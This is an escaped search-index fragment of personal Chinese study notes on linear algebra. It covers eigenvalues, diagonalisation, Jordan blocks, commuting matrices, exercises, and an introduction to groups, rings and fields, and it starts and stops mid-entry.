<p>\u7531\u4e8e\u53ef\u5bf9\u89d2\u5316\u77e9\u9635\u4ee3\u6570\u91cd\u6570\u7b49\u4e8e\u51e0\u4f55\u91cd\u6570\uff0c\u56e0\u6b64\u7279\u5f81\u503c0\u5bf9\u5e94\u7684\u4ee3\u6570\u91cd\u6570\u4e3a\\(n-r(A)\\)\uff0c\u7279\u5f81\u503c2\u5bf9\u5e94\u7684\u4ee3\u6570\u91cd\u6570\u4e3a\\(r(A)\\)\uff0c\u56e0\u6b64\u6211\u4eec\u53ef\u4ee5\u5f97\u5230\u4e0e\\(A\\)\u76f8\u4f3c\u7684\u5bf9\u89d2\u77e9\u9635\u4e3a\\(\\mathbf{diag}(0,\\ldots,0,2,\\ldots,2)\\)\uff0c\u5176\u4e2d0\u7684\u4e2a\u6570\u4e3a\\(n-r(A)\\)\uff0c2\u7684\u4e2a\u6570\u4e3a\\(r(A)\\).</p> <p>2. \u53cd\u8bc1\u6cd5\uff0c\u5047\u8bbe\\(\\alpha\\)\u548c\\(A\\alpha\\)\u7ebf\u6027\u76f8\u5173\uff0c\u5219\u5b58\u5728\u4e0d\u5168\u4e3a\u96f6\u7684\u5e38\u6570\\(k_1,k_2\\)\u4f7f\u5f97\\(k_1\\alpha+k_2A\\alpha=0\\). \u663e\u7136\\(k_2\\neq 0\\)\uff0c\u56e0\u4e3a\u5047\u8bbe\\(k_2=0\\)\uff0c\u5219\\(k_1\\alpha=0\\)\uff0c\u7531\u4e8e\\(\\alpha\\neq 0\\)\uff0c\u6545\\(k_1=0\\)\uff0c\u8fd9\u4e0e\\(k_1,k_2\\)\u4e0d\u5168\u4e3a0\u77db\u76fe. \u56e0\u6b64\u6211\u4eec\u6709\\(A\\alpha=-\\dfrac{k_1}{k_2}\\alpha\\)\uff0c\u5373\\(\\alpha\\)\u662f\\(A\\)\u7684\u7279\u5f81\u5411\u91cf\uff0c\u8fd9\u4e0e\u9898\u8bbe\u77db\u76fe\uff0c\u56e0\u6b64\\(\\alpha\\)\u548c\\(A\\alpha\\)\u7ebf\u6027\u65e0\u5173.</p> <p>\u7531\u9898\u610f\uff0c\\(A^2\\alpha-3A\\alpha+2\\alpha=0\\)\uff0c\u5373\\((A^2-3A+2E)\\alpha=0\\)\uff0c\u53c8\\(\\alpha\\neq 0\\)\uff0c\u56e0\u6b64\\(A^2-3A+2E\\)\u4e0d\u53ef\u9006\uff0c\u4ece\u800c\\(|A^2-3A+2E|=|E-A||2E-A|=0\\)\uff0c\u6545\\(|E-A|=0\\)\u6216\\(|2E-A|=0\\).</p> <p>\u82e5\\(|E-A|\\neq 0\\)\uff0c\u5219\\(E-A\\)\u53ef\u9006\uff0c\u56e0\u6b64\\((A^2-3A+2E)\\alpha=(E-A)((2E-A)\\alpha)=0\\)\u53ef\u77e5\\((2E-A)\\alpha=0\\)\uff0c\u5373\\(A\\alpha=2\\alpha\\)\uff0c\u6545\\(\\alpha\\)\u4e3a\\(A\\)\u7684\u7279\u5f81\u5411\u91cf\uff0c\u8fd9\u4e0e\u6761\u4ef6\u77db\u76fe\uff0c\u56e0\u6b64\\(|E-A|=0\\). \u540c\u7406\uff0c\\(|2E-A|=0\\)\uff0c\u56e0\u6b64\\(A\\)\u6709\u4e24\u4e2a\u7279\u5f81\u503c1\u548c2\uff0c\u53c8\\(A\\)\u662f2\u9636\u77e9\u9635\uff0c\u56e0\u6b64\u7531\\autoref{cor:\u53ef\u5bf9\u89d2\u5316\u5fc5\u8981\u6761\u4ef6} \u53ef\u77e5\\(A\\)\u4e00\u5b9a\u53ef\u5bf9\u89d2\u5316\uff0c\u4e14\u5bf9\u89d2\u77e9\u9635\u4e3a\\(\\begin{pmatrix}               1 &amp; 0 \\\\               0 &amp; 2           \\end{pmatrix}\\).</p> <p>\u82e5\u5f53\u77e9\u9635\u4e0d\u53ef\u5bf9\u89d2\u5316</p> <p>\u8bc1\u660e\\(r\\)\u9636\u4e0a\u4e09\u89d2\u77e9\u9635\\((r&gt;1)\\)</p> \\[J_0=\\begin{pmatrix}         \\lambda_0 &amp; 1         &amp;        &amp;           \\\\                   &amp; \\lambda_0 &amp; \\ddots &amp;           \\\\                   &amp;           &amp; \\ddots &amp; 1         \\\\                   &amp;           &amp;        &amp; \\lambda_0     \\end{pmatrix}\\] <p>\u4e0d\u4e0e\u5bf9\u89d2\u9635\u76f8\u4f3c.</p> Answer <p>\u9996\u5148\u6c42\u51fa\u7279\u5f81\u591a\u9879\u5f0f\u4e3a\\(f(\\lambda)=|\\lambda E-J_0|=(\\lambda-\\lambda_0)^r\\)\uff0c\u56e0\u6b64\\(J_0\\)\u53ea\u6709\u4e00\u4e2a\u7279\u5f81\u503c\\(\\lambda_0\\)\uff0c\u4e14\u4ee3\u6570\u91cd\u6570\u4e3a\\(r\\).</p> <p>\u63a5\u4e0b\u6765\u6c42\u51e0\u4f55\u91cd\u6570\uff0c\u5373\\(J_0X=\\lambda_0X\\)\u7684\u89e3\u7a7a\u95f4\u7ef4\u6570\uff0c\u5373\\((\\lambda_0 E-J_0)X=O\\)\u7684\u89e3\u7a7a\u95f4\u7ef4\u6570\uff0c\u4e8b\u5b9e\u4e0a\u7531\u4e8e\\(r(\\lambda_0 E-J_0)=r-1\\)\uff0c\u56e0\u6b64\u89e3\u7a7a\u95f4\u7ef4\u6570\u4e3a\\(r-(r-1)=1\\)\uff0c\u5373\u51e0\u4f55\u91cd\u6570\u4e3a\\(1&lt;r\\)\uff0c\u56e0\u6b64\u4e0d\u53ef\u5bf9\u89d2\u5316</p> <p>AB=BA</p> <p>\u8bbe \\( A, B \\in M_n(\\mathbf{F}) \\), \\( AB = BA \\), \u8bc1\u660e\uff1a</p> <ol> <li>\u82e5 \\( X \\) \u662f\u77e9\u9635 \\( A \\) \u5c5e\u4e8e\u7279\u5f81\u503c \\( \\lambda_0 \\) \u7684\u7279\u5f81\u5411\u91cf\uff0c\u5219 \\( BX \\in V_{\\lambda_0} \\).</li> <li>\\( A \\) \u548c \\( B \\) \u81f3\u5c11\u6709\u4e00\u4e2a\u5171\u540c\u7684\u7279\u5f81\u5411\u91cf.</li> <li>\\( A \\) \u6709 \\( n \\) \u4e2a\u4e0d\u540c\u7684\u7279\u5f81\u503c\u5219</li> <li>\\( AB = BA \\) \u5f53\u4e14\u4ec5\u5f53 \\( A \\) \u7684\u7279\u5f81\u5411\u91cf\u4e5f\u662f \\( B \\) \u7684\u7279\u5f81\u5411\u91cf.</li> <li>\u5b58\u5728\u6b21\u6570\u5c0f\u4e8e\u7b49\u4e8e \\( n-1 \\) \u7684\u591a\u9879\u5f0f \\( f(x) \\) \u4f7f\u5f97 \\( B = f(A) \\).</li> <li>\u82e5 \\( A, B \\) \u5747\u53ef\u5bf9\u89d2\u5316\uff0c\u5219\u5bf9\u89d2\u5316\u7684\u8fc7\u6e21\u77e9\u9635\u53ef\u4ee5\u76f8\u540c\uff08\u540c\u65f6\u5bf9\u89d2\u5316\uff09.</li> <li>\\( A, B \\) \u53ef\u4ee5\u540c\u65f6\u4e0a\u4e09\u89d2\u5316\uff0c\u5373\u5b58\u5728\u53ef\u9006\u77e9\u9635 \\( P \\) \u4f7f\u5f97 \\( P^{-1}AP \\) \u548c \\( P^{-1}BP \\) \u90fd\u662f\u4e0a\u4e09\u89d2\u77e9\u9635.</li> </ol> <p>\u8bbe \\( n \\) \u9636\u65b9\u9635 \\( A \\) \u548c \\( B \\) \u90fd\u53ef\u5bf9\u89d2\u5316\uff0c\u5e76\u4e14\u5b83\u4eec\u6709\u76f8\u540c\u7684\u7279\u5f81\u5b50\u7a7a\u95f4\uff08\u4f46\u4e0d\u4e00\u5b9a\u6709\u76f8\u540c\u7684\u7279\u5f81\u503c\uff09\uff0c\u8bc1\u660e \\( AB = BA \\).</p>"},{"location":"NOTE/LA/eigenvalue/#_11","title":"\u4e60\u9898","text":"<ul> <li> <p>\u8bbe\\(A\\)\u4e3an\u9636\u590d\u65b9\u9635,\\(P\\)\u4e3a\u53ef\u9006\u77e9\u9635\u3002\u8bc1\u660e\\(tr(A)=tr(P^{-1}AP)\\)</p> </li> <li> <p>\u5df2\u77e5\\(A\\)\u4e3a3\u9636\u77e9\u9635\uff0c\u7279\u5f81\u503c\u4e3a1\uff0c2\uff0c3;\u6c42\\(|A^2+4A+E|\\)</p> </li> <li> <p>\u8bc1\u660e:\u82e5\\(A^2-(\\lambda_1+\\lambda_2)A+\\lambda_1 \\lambda_2 E = O,\\lambda_1 \\neq \\lambda_2\\),\u5219\\(A\\)\u53ef\u5bf9\u89d2\u5316(Hint:\u77e9\u9635\u65b9\u7a0b\u53ef\u5bf9\u89d2\u5316\u6761\u4ef6),\u5e76\u5224\u65ad\u4ee5\u4e0b\u8bf4\u6cd5\u8bf4\u6cd5\u54ea\u4e00\u4e2a\u6b63\u786e</p> <ul> <li>\\(A\\)\u7684\u7279\u5f81\u503c\u517c\u6709\u4e00\u5b9a\u517c\u6709\\(\\lambda_1\\)\u548c\\(\\lambda_2\\)</li> <li>\\(A\\)\u53ef\u5bf9\u89d2\u5316\uff0c\u4f46\u5176\u7279\u5f81\u503c\u4e0d\u4e00\u5b9a\u540c\u65f6\u6709\\(\\lambda_1\\)\u548c\\(\\lambda_2\\),\u53ef\u80fd\u4e3a\\(\\lambda_1\\)\u548c\\(\\lambda_1\\),\\(\\lambda_2\\)\u548c\\(\\lambda_2\\),\u6216\u8005\\(\\lambda_1\\)\u548c\\(\\lambda_2\\)</li> </ul> </li> <li> <p>\u8bc1\u660e\u79e9\u4e3a1\u7684\u5411\u91cf\u53ef\u4ee5\u5199\u4e3a\\(\\alpha^\\mathrm{T}\\beta\\),(\u56de\u5fc6\u76f8\u62b5\u6807\u51c6\u578b~)</p> </li> <li> <p>\u8bbe \\(\\alpha\\) \u4e3a \\(n\\) \u7ef4\u5b9e\u5411\u91cf\u4e14 \\(\\alpha^\\mathrm{T} \\alpha =1\\),\u6c42\u77e9\u9635\\(I-\\alpha \\alpha^\\mathrm{T}\\)\u7684\u7279\u5f81\u503c(Hint: \u7279\u5f81\u591a\u9879\u5f0f\u5c55\u5f00)</p> </li> <li> <p>\\(A,B\\)\u90fd\u662f\\(n\\)\u9636\u77e9\u9635\uff0c\u8bc1\u660e\\(AB+B\\)\u4e0e\\(BA+B\\)\u6709\u76f8\u540c\u7684\u7279\u5f81\u503c.(Hint:\u8bc1\u660e\u76f8\u4f3c)</p> </li> <li> <p>\u5224\u65ad\u5e76\u8bc1\u660e\uff1a\\(n\\)\u9636\u65b9\u9635\\(A\\)\u6ee1\u8db3\\(A^2-5A+5E_n=0\\)\uff0c\u5219\u5bf9\u4e8e\u6240\u6709\u7684\u6709\u7406\u6570\\(r\\),\u6709\\(A+rE_n\\)\u53ef\u9006</p> </li> <li> <p>\u8bb0 </p> </li> </ul> \\[     X = \\left\\{ \\begin{pmatrix} a_{11} &amp; a_{12} &amp; a_{13} \\\\ a_{21} &amp; a_{22} &amp; a_{23} \\\\ a_{31} &amp; a_{32} &amp; a_{33} \\end{pmatrix} \\in M_{3 \\times 3}(\\mathbb{R}) \\ \\middle| \\ \\sum_{j=1}^{3} a_{1j} = \\sum_{j=1}^{3} a_{2j} = \\sum_{j=1}^{3} a_{3j} = \\sum_{i=1}^{3} a_{ij} \\right\\}. \\] <p>\u8bc1\u660e\uff1a</p> <ol> <li>\\(X\\) \u662f \\(M_{3 \\times 3}(\\mathbb{R})\\) \u7684\u4e00\u4e2a\u5b50\u7a7a\u95f4\uff0c\u5e76\u6c42\u8be5\u5b50\u7a7a\u95f4\u7684\u7ef4\u6570\uff1b</li> <li>\u5bf9\u4efb\u610f\u53ef\u9006\u77e9\u9635 \\(A \\in X\\)\uff0c\\((1, 1, 1)^\\mathrm{T}\\) \u662f \\(A\\) \u548c \\(A^{-1}\\) \u7684\u7279\u5f81\u5411\u91cf\uff1b</li> <li>\u5bf9\u4efb\u610f\u53ef\u9006\u77e9\u9635 \\(A \\in X\\)\uff0c\\(A^{-1} \\in X\\)\u3002</li> </ol>"},{"location":"NOTE/LA/linear-algebra/","title":"\u7ebf\u6027\u4ee3\u6570\u4e2a\u4eba\u7b14\u8bb0","text":"<p> \u7ea6 309 \u4e2a\u5b57  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 1 \u5206\u949f</p>"},{"location":"NOTE/LA/linear-algebra/#_2","title":"\u53d1\u70b9\u7262\u9a9a","text":"<p>\u7ebf\u6027\u4ee3\u6570\u4e00\u5f00\u59cb\u7ed9\u6211\u7684\u611f\u89c9\u5e76\u6ca1\u6709\u5341\u5206\u4ee4\u4eba\u559c\u6b22\uff0c\u751a\u81f3\u4e0a\u7b2c\u4e00\u8282\u8bfe\u7684\u65f6\u5019\u8fd8\u89c9\u5f97\u8fd9\u95e8\u8bfe\u6709\u4e9b\u4e0d\u77e5\u6240\u4e91\uff1a\u89e3\u65b9\u7a0b\uff0c\u89e3\u65b9\u7a0b\u6709\u4ec0\u4e48\u597d\u8bb2\u7684\u3002\u5728\u4e0a\u5927\u5b66\u4ee5\u524d\u4ece\u6ca1\u6709\u63a5\u89e6\u8fc7\u7684\u4ee3\u6570\u7ed3\u6784\u4ee5\u53ca\u8bb8\u591a\u62bd\u8c61\u7684\u63cf\u8ff0\u4e5f\u8ba9\u6211\u75db\u82e6\u4e86\u6709\u8fd9\u4e48\u4e00\u4f1a\u513f\u3002</p> <p>\u597d\u50cf\u987f\u609f\u662f\u4e00\u77ac\u95f4\u7684\u4e8b\uff0c\u76ef\u7740\u90a3\u4e9b\u7b26\u53f7\u5728\u4e00\u4e2a\u60f3\u8c61\u4e2d\u7684\"\u7ebf\u6027\u7a7a\u95f4\"\u53d8\u6765\u53d8\u53bb\uff0c\u5f53\u4ed6\u4eec\u5177\u4f53\u5316\u4ee5\u540e\u53c8\u80fd\u89e3\u51b3\u4e00\u4e2a\u4e2a\u5b9e\u9645\u7684\u6570\u5b66\u95ee\u9898\u3002\u8fd9\u4e5f\u592a\u7f8e\u4e86\u3002</p> <p>\u8fd9\u4e2a\u5b66\u671f\u5b66\u5b8c\u4e86\u7ebf\u4ee3\u4e8c\u4e4b\u540e\uff0c\u4f3c\u4e4e\u6211\u5c31\u4e0e\u8fd9\u95e8\u8bfe\u6ca1\u4ec0\u4e48\u4ea4\u96c6\u4e86\u3002\u4f46\u662f\u6211\u60f3\u628a\u6211\u5b66\u5230\u7684\u4e1c\u897f\u8bb0\u4e0b\u6765\uff0c\u4e0d\u5fcd\u8ba9\u5b83\u4eec\u5728\u6211\u7684\u8111\u6d77\u91cc\u968f\u65f6\u95f4\u6162\u6162\u6de1\u53bb</p> <p>\u6700\u540e\uff0c\u611f\u8c22\u6559\u6388\u8fd9\u95e8\u8bfe\u7684\u5434\u5fd7\u7965\u8001\u5e08\uff0c\u8ba9\u6211\u4e00\u6b65\u4e00\u6b65\u611f\u53d7\u5230\u7ebf\u6027\u4ee3\u6570\u7684\u7f8e\u5999\u3002</p> <p>\u5434\u7237\u7237:\u6211\u8fd9\u95e8\u8bfe\u5f88\u7b80\u5355\uff0c\u53ea\u6709\u7b80\u5355\u7684\u52a0\u51cf\u4e58\u9664\u56db\u5219\u8fd0\u7b97\uff0c\u751a\u81f3\u9664\u6cd5\u90fd\u4e0d\u592a\u9700\u8981.</p> <p>\u4e5f\u611f\u8c22\u7afa\u53ef\u6862\u5b66\u9662\u7684\u8f85\u5b66\u5b66\u957f\u4eec\u4ee5\u53ca\u7279\u522b\u9e23\u8c22\u65f7\u4e16\u5de8\u4f5cLALU</p>"},{"location":"NOTE/LA/note/","title":"\u6211\u4e0d\u66f4\u4e86\uff0c\u6211\u5199LALU\u53bb\u4e86","text":"<p> \u7ea6 9 \u4e2a\u5b57 </p>"},{"location":"NOTE/LA/%E5%89%8D%E7%BD%AE%E7%9F%A5%E8%AF%86/","title":"\u524d\u7f6e\u77e5\u8bc6","text":"<p> \u7ea6 2618 \u4e2a\u5b57  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 9 \u5206\u949f</p>"},{"location":"NOTE/LA/%E5%89%8D%E7%BD%AE%E7%9F%A5%E8%AF%86/#_2","title":"\u57fa\u672c\u7684\u4ee3\u6570\u7ed3\u6784","text":"<p>\u5434\u7237\u7237\u5728\u6bcf\u8282\u8bfe\u672b\u5c3e\u90fd\u4f1a\u98d9\u8f66,\u7b2c\u4e00\u8282\u8bfe\u8d77\u98de\u7684\u662f\u7fa4\u73af\u57df</p> <p>\u4ee3\u6570\u7cfb\u7edf\u662f\u4ec0\u4e48</p> <p>\u4ee3\u6570\u7cfb\u7edf</p> <p>\u4e00\u822c\u5730,\u6211\u4eec\u628a\u4e00\u4e2a\u975e\u7a7a\u96c6\u5408 \\(X\\) \u548c\u5728 \\(X\\) \u4e0a\u5b9a\u4e49\u7684\u82e5\u5e72\u4ee3\u6570\u8fd0\u7b97 \\(f_1,...,f_k\\) \u7ec4\u6210\u7684\u7cfb\u7edf\u79f0\u4e3a\u4ee3\u6570\u7cfb\u7edf\uff08\u7b80\u79f0\u4ee3\u6570\u7cfb\uff09,\u8bb0\u4f5c \\(&lt;X:f_1,...,f_k&gt;\\)</p> <p>\u8bf4\u767d\u4e86,\u4ee3\u6570\u7cfb\u7edf\u5c31\u662f\u628a\u4e00\u4e2a\u96c6\u5408,\u4ee5\u53ca\u4f60\u80fd\u5bf9\u8fd9\u4e2a\u96c6\u5408\u4e2d\u7684\u5143\u7d20\u8fdb\u884c\u4ec0\u4e48\u64cd\u4f5c\u544a\u8bc9\u4f60\u3002</p> <p>\u4e3e\u4e2a\u4f8b\u5b50,\u6211\u4eec\u5c0f\u5b66(\u6216\u8005\u662f\u5e7c\u513f\u56ed\uff1f)\u5b66\u8fc7\u7684\u6574\u6570(\\(\\mathbf{Z}\\))\u7684\u52a0\u6cd5(+)\u5c31\u662f\u4e00\u79cd\u4ee3\u6570\u7cfb\uff08\\(&lt;\\mathbf{Z},+&gt;\\)\uff09</p> <p>\u8981\u6ce8\u610f\u7684\u662f,\u4ee3\u6570\u7cfb\u7edf\u4e0a\u5b9a\u4e49\u7684\u8fd0\u7b97\u5fc5\u987b\u4fdd\u8bc1\u5c01\u95ed\u6027,\u4e5f\u5c31\u662f\u8fd0\u7b97\u540e\u7684\u7ed3\u679c\u5fc5\u987b\u4ecd\u7136\u5728\u96c6\u5408 \\(X\\) \u4e2d</p> <p>\u5728\u6574\u6570\u7684\u52a0\u6cd5\u4e2d,\u6211\u4eec\u6709\u4ee5\u4e0b\u8fd0\u7b97\u6027\u8d28</p> <ul> <li>\u7ed3\u5408\u5f8b \\((a+b)+c=a+(b+c)\\)</li> <li>\u5355\u4f4d\u5143\uff1a\u5b58\u5728\u4e00\u4e2a\u5143\u7d20 0,\u4f7f\u5f97 \\(a+0=0+a=a\\)\uff1b</li> <li>\u9006\u5143\uff1a\u5bf9\u4e8e\u4efb\u610f\\(a\\),\u5b58\u5728\u4e00\u4e2a\u5143\u7d20\\(\u2212a\\),\u4f7f\u5f97 \\(a+(\u2212a)=(\u2212a)+a = 0\\) \u3002\\(0\\) \u4e3a\u5355\u4f4d\u5143\uff1b</li> <li>\u4ea4\u6362\u5f8b\uff1a\\(a+b=b+a\\)</li> </ul> <p>\u5e73\u5e73\u65e0\u5947,\u5bf9\u5427,\u90a3\u4e48\u6211\u4eec\u73b0\u5728\u6765\u62bd\u8c61\u4e00\u4e0b</p> <p>\u5728\u96c6\u5408\\(G\\)\u4e0a\u7684\u8fd0\u7b97\\(\u25e6\\),\u6211\u4eec\u6709\u4ee5\u4e0b\u6027\u8d28</p> <ul> <li>\u7ed3\u5408\u5f8b \\((a \u25e6 b) \u25e6 c=a \u25e6 (b \u25e6 c)\\)</li> <li>\u5355\u4f4d\u5143\uff1a\u5b58\u5728\u4e00\u4e2a\u5143\u7d20 \\(e\\),\u4f7f\u5f97 \\(a \u25e6 e=e \u25e6 a=a\\)\uff1b</li> <li>\u9006\u5143\uff1a\u5bf9\u4e8e\u4efb\u610f\\(a\\),\u5b58\u5728\u4e00\u4e2a\u5143\u7d20\\(\\overline{a}\\),\u4f7f\u5f97 \\(a \u25e6 \\overline{a} =  \\overline{a} \u25e6 a = e\\) \\(e\\) \u4e3a\u5355\u4f4d\u5143\uff1b</li> <li>\u4ea4\u6362\u5f8b\uff1a\\(a \u25e6 b=b \u25e6 a\\)</li> </ul> <p>\u6ce8\u610f\u4e0a\u9762\u7684\u5b9a\u4e49\u662f\u62bd\u8c61\u7684,\u5ffd\u7565\u96c6\u5408\u4e2d\u5143\u7d20\u7684\u610f\u4e49\u5dee\u5f02\uff08\u5143\u7d20\u53ef\u4ee5\u8868\u793a\u5b9e\u6570,\u4e5f\u53ef\u4ee5\u5728\u8868\u793a\u5e73\u9762\u5411\u91cf\u7b49\u51e0\u4f55\u5bf9\u8c61\uff09,\u540c\u65f6\u4e5f\u53ef\u4ee5\u5ffd\u7565\u8fd0\u7b97\u5b9a\u4e49\u7684\u5dee\u5f02,\u53ea\u5173\u5fc3\u8fd0\u7b97\u4f5c\u7528\u4e8e\u96c6\u5408\u5143\u7d20\u7684\u6027\u8d28.</p> <p>\u63a5\u4e0b\u6765,\u6211\u4eec\u5c31\u53ef\u4ee5\u4ecb\u7ecd\u7fa4,\u73af,\u57df\u4e09\u4e2a\u4ee3\u6570\u7cfb\u7edf\u4e86</p> <p>\u7fa4</p> <p>\u82e5\u8fd0\u7b97 \u25e6 \u6ee1\u8db3\u7ed3\u5408\u5f8b,\u5219\u79f0\u4ee3\u6570\u7cfb\u7edf \\(\u3008G : \u25e6\u3009\\) \u4e3a\u534a\u7fa4\uff1b\u82e5\u5728\u534a\u7fa4\u57fa\u7840\u4e0a\u5b58\u5728\u5355\u4f4d\u5143, \u5219\u79f0\u4e4b\u4e3a\u542b\u5e7a\u534a\u7fa4\uff1b\u82e5\u5728\u542b\u5e7a\u534a\u7fa4\u57fa\u7840\u4e0a\u6bcf\u4e2a\u5143\u7d20\u5b58\u5728\u9006\u5143,\u5219\u79f0\u4e4b\u4e3a\u7fa4\uff1b\u82e5\u5728\u7fa4\u7684 \u57fa\u7840\u4e0a\u8fd0\u7b97\u8fd8\u6ee1\u8db3\u4ea4\u6362\u5f8b,\u5219\u79f0\u4e4b\u4e3a Abel \u7fa4,\u4e5f\u79f0\u4ea4\u6362\u7fa4.</p> <ul> <li>\u7fa4\u7684\u5355\u4f4d\u5143\u552f\u4e00\uff1a\u82e5\u5b58\u5728\u4e24\u4e2a\u5355\u4f4d\u5143\\(e_1,e_2\\),\u5219\\(e_1=e_1\u25e6 e_2=e_2\\)</li> <li>\u7fa4\u4e2d\u6bcf\u4e00\u4e2a\u5143\u7d20\u9006\u5143\u552f\u4e00:\u8bbe \\(b\\) \u548c \\(c\\) \u90fd\u662f \\(a\\) \u7684\u9006\u5143,\u5219 \\(b = b \u25e6 e = b \u25e6 (a \u25e6 c) = (b \u25e6 a) \u25e6 c = e \u25e6 c = c.\\)</li> </ul> <p>\u73af</p> <p>\u6211\u4eec\u79f0\u4ee3\u6570\u7cfb\u7edf \\(\u3008R : +, \u25e6\u3009\\) \u4e3a\u4e00\u4e2a\u73af,\u5982\u679c</p> <ol> <li>\\(\u3008R : +\u3009\\) \u662f\u4ea4\u6362\u7fa4,\u5176\u5355\u4f4d\u5143\u8bb0\u4f5c 0\uff1b</li> <li>\\(\u3008R : \u25e6\u3009\\) \u662f\u5e7a\u534a\u7fa4\uff1b</li> <li>\u8fd0\u7b97 \\(\u25e6\\) \u5bf9 \\(+\\) \u6ee1\u8db3\u5de6\u3001\u53f3\u5206\u914d\u5f8b,\u5373</li> </ol> <p>\\(a \u25e6 (b + c) = a \u25e6 b + a \u25e6 c\\)</p> <p>\\((b + c) \u25e6 a = b \u25e6 a + c \u25e6 a\\)</p> <p>\u82e5\u8fdb\u4e00\u6b65\u6bcf\u4e2a\u975e 0\uff08+ \u8fd0\u7b97\u5355\u4f4d\u5143\uff09\u5143\u7d20\u5173\u4e8e \u25e6 \u90fd\u6709\u9006\u5143,\u5219\u79f0\u4e4b\u4e3a\u9664\u73af. \u53e6\u5916,\u82e5 \u4e0a\u8ff0\u5b9a\u4e49\u4e2d \u25e6 \u8fd0\u7b97\u6ee1\u8db3\u4ea4\u6362\u5f8b,\u5219\u79f0\u4e3a\u4ea4\u6362\u73af.</p> <p>\u57df</p> <p>\u6211\u4eec\u79f0\u4ee3\u6570\u7cfb\u7edf \\(\u3008F : +, \u25e6\u3009\\) \u4e3a\u4e00\u4e2a\u57df,\u5982\u679c</p> <ol> <li>\\(\u3008F : +\u3009\\) \u662f\u4ea4\u6362\u7fa4,\u5176\u5355\u4f4d\u5143\u8bb0\u4f5c 0\uff1b</li> <li>\\(\u3008F^* : \u25e6\u3009\\) \u662f\u4ea4\u6362\u7fa4\uff1b\u5176\u4e2d\\(F^*\\)\u6307\\(F\\)\u53bb\u6389\\(+\\)\u7684\u5355\u4f4d\u5143</li> <li>\u8fd0\u7b97 \\(\u25e6\\) \u5bf9 \\(+\\) \u6ee1\u8db3\u5de6\u3001\u53f3\u5206\u914d\u5f8b,\u5373</li> </ol> <p>\\(a \u25e6 (b + c) = a \u25e6 b + a \u25e6 c\\)</p> <p>\\((b + c) \u25e6 a = b \u25e6 a + c \u25e6 a\\)</p> <p>\u6211\u4eec\u53ef\u4ee5\u7ed3\u5408\u4e00\u4e0b\u4ea4\u6362\u73af\u548c\u9664\u73af,\u5728\u73af\u4e2d\u5b9a\u4e49\u7684\\(\u3008R : \u25e6\u3009\\) \u662f\u5e7a\u534a\u7fa4\u5c31\u53d8\u6210\u4e86\u7fa4,\u6b64\u65f6,\u8fd9\u4e2a\u4ea4\u6362\u9664\u73af\u6ee1\u8db3\u6240\u6709\u57df\u7684\u8981\u6c42,\u4e5f\u5c31\u662f\u8bf4,\u4ea4\u6362\u9664\u73af\u5373\u4e3a\u57df\u3002</p> <p>\u5173\u4e8e\u6570\u57df,\u6211\u4eec\u6709\u5982\u4e0b\u4e24\u4e2a\u7ed3\u8bba\uff1a</p> <ol> <li>\u6570\u96c6 \\(F\\) \u5bf9\u6570\u7684\u52a0\u6cd5\u548c\u4e58\u6cd5\u6784\u6210\u6570\u57df\u7684\u5145\u8981\u6761\u4ef6\u4e3a\uff1a\\(F\\) \u5305\u542b 0,1 \u4e14\u5bf9\u6570\u7684\u52a0\u3001\u51cf\u3001 \u4e58\u3001\u9664\uff08\u9664\u6570\u4e0d\u4e3a 0\uff09\u8fd0\u7b97\u5c01\u95ed\uff1b</li> <li>\u4efb\u4f55\u6570\u57df\u90fd\u5305\u542b\u6709\u7406\u6570\u57df \\(\\mathbf{Q}\\),\u5373 \\(\\mathbf{Q}\\) \u662f\u6700\u5c0f\u7684\u6570\u57df.</li> </ol> <p>\u5f15\u5165\u4e86\u4ee3\u6570\u7ed3\u6784\u4e4b\u540e,\u6211\u4eec\u53ef\u4ee5\u628a\u5b83\u4eec\u6682\u4e14\u7406\u89e3\u4e3a\u4e00\u79cd\u6a21\u578b,\u5c31\u50cf\u6211\u4eec\u9ad8\u4e2d\u7ec3\u4e86\u5343\u767e\u9053\u9898\u76ee\u4e4b\u540e,\u63d0\u70bc\u51fa\u6765\u4e86\u4e00\u79cd\u666e\u904d\u7684\u505a\u6cd5,\u5728\u53d1\u73b0\u8bb8\u591a\u5177\u4f53\u7684\u4ee3\u6570\u7cfb\u7edf\u7684\u5171\u6027\u4e4b\u540e,\u6211\u4eec\u4e5f\u53ef\u4ee5\u628a\u5b83\u4eec\u6a21\u578b\u5316,\u800c\u4e0d\u5fc5\u91cd\u590d\u7814\u7a76\u540c\u6837\u7684\u4e1c\u897f\u4e86\u3002</p>"},{"location":"NOTE/LA/%E5%89%8D%E7%BD%AE%E7%9F%A5%E8%AF%86/#_3","title":"\u7b49\u4ef7\u5173\u7cfb","text":"<p>\u6211\u4eec\u65f6\u5e38\u9700\u8981\u8ba8\u8bba\u96c6\u5408\u4e2d\u5143\u7d20\u4e4b\u95f4\u7684\u5173\u7cfb. \u4f8b\u5982\u76f4\u7ebf\u95f4\u7684\u5e73\u884c\u3001\u5782\u76f4\u3001\u76f8\u4ea4,\u6216\u662f\u6570\u4e4b\u95f4\u7684\u5927\u4e8e\u3001\u7b49\u4e8e\u3001\u5c0f\u4e8e\u5173\u7cfb.\u201c\u5173\u7cfb\u201d \u5c06\u4f1a\u591a\u6b21\u51fa\u73b0\u5728\u7ebf\u6027\u4ee3\u6570\u7684\u5b66\u4e60\u8fc7\u7a0b\u4e2d,\u56e0\u6b64\u6211\u4eec\u5f88\u6709\u5fc5\u8981\u5728\u6b64\u5f62\u5f0f\u5316\u5b9a\u4e49\u8fd9\u4e00\u6982\u5ff5,\u5e76\u5f3a\u8c03\u5176\u4e2d\u4e00\u7c7b\u7279\u5b9a\u7684\u5173\u7cfb\u2014\u2014\u7b49\u4ef7\u5173\u7cfb.</p> <p>\u4ece\u6700\u7b80\u5355\u7684\u4e8c\u5143\u5173\u7cfb\u5f00\u59cb,\u5728\u6b64\u4e4b\u524d,\u6709\u5fc5\u8981\u5f15\u5165\u96c6\u5408\u7684\u7b1b\u5361\u5c14\u79ef</p> <p>Info</p> <p>\u8bbe \\(A\\) \u548c \\(B\\) \u662f\u4e24\u4e2a\u975e\u7a7a\u96c6\u5408,\u6211\u4eec\u628a\u96c6\u5408   \\(A \u00d7 B = \\{(a, b) | a \u2208 A, b \u2208 B\\}\\)   \u79f0\u4e3a\u96c6\u5408 \\(A\\) \u548c \\(B\\) \u7684 \u7b1b\u5361\u5c14\u79ef.</p> <p>\u6211\u4eec\u719f\u6089\u7684\u5e73\u9762\u70b9\u96c6\u5c31\u662f\u4e00\u79cd\\(\\mathbf{R} \\times 